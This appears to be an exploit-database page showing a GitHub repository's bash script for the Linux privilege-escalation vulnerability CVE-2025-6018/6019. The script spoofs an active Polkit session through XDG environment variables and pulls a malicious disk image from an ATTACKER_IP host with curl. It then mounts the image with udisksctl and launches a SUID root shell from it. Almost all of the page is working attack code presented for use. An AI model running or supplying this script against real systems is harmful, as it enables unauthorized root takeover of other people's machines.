Exploit databaseDownload repository ZIP
GH-458721fc4fe5967e8deacc9e1a7f2f6e
iamgithubber/cve-2025-6018-19-exploit
Sources for CVE-2025-6018
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
iamgithubber/cve-2025-6018-19-exploitRevision 98f97a3cab35
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
victem.sh
Shell · 850 bytes#!/bin/bash
# Step 1: Spoof Polkit session via environment injection
export XDG_SEAT=seat0
export XDG_SESSION_ID=c2
export XDG_VTNR=2
# Optional: confirm you're "active"
echo "[*] Checking active session:"
loginctl show-session $XDG_SESSION_ID -p Active
# Step 2: Download malicious image
echo "[*] Downloading exploit image..."
curl -O http://ATTACKER_IP:8000/exploit.img
# Step 3: Mount using udisks2 as allow_active user
echo "[*] Mounting image with udisksctl..."
udisksctl loop-setup -f exploit.img
LOOP_DEV=$(losetup -j exploit.img | cut -d: -f1)
udisksctl mount -b $LOOP_DEV
MOUNT_PATH=$(mount | grep "$LOOP_DEV" | awk '{print $3}')
# Step 4: Run the SUID root shell
if [[ -f "$MOUNT_PATH/rootshell" ]]; then
echo "[*] Launching root shell!"
"$MOUNT_PATH/rootshell"
else
echo "[!] Failed to find rootshell at $MOUNT_PATH"
fi